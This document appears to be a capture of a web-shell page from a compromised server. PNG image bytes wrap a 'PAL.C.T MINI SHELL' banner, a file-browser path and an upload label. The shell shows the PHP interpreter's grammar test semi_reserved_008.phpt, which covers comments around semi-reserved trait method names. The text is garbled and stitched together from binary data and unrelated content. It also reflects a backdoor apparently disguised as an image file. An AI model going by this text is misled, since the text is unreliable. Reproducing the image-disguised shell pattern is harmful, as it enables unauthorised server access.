php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/Zend/tests/grammar/
upload
files >> //opt/php-7.0.1/Zend/tests/grammar/semi_reserved_008.phpt

--TEST--
Testing with comments around semi-reserved names (not intended to be legible)
--FILE--
<?php

trait TraitA
{
    public static function list(){ echo __METHOD__, PHP_EOL; }
    public static function /* comment */ catch(){ echo __METHOD__, PHP_EOL; }
    private static function // comment
        throw(){ echo __METHOD__, PHP_EOL; }
    private static function
    # comment
    self(){ echo __METHOD__, PHP_EOL; }
}

trait TraitB
{
    public static function exit(){ echo __METHOD__, PHP_EOL; }
    protected static function try(){ echo __METHOD__, PHP_EOL; }
}

class Foo
{
    use TraitA {
        TraitA::
            //
            /** doc comment */
            #
        catch /* comment */ 
            // comment
            # comment
        insteadof TraitB;

        TraitA::list as public /**/ foreach;
    }

    use TraitB {
        try /*comment*/ as public attempt;
        exit // comment
            as/*comment*/die; // non qualified
        \TraitB::exit as bye; // full qualified
        namespace\TraitB::exit #
        as byebye; // even more full qualified
        TraitB
            ::
            /**  */
            exit as farewell; // full qualified with weird spacing
    }
}

Foo /**/
#
//
/**  */
::
/**/
#
//
/**  */
attempt();

echo PHP_EOL, "Done", PHP_EOL;

--EXPECTF--
TraitB::try

Done
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`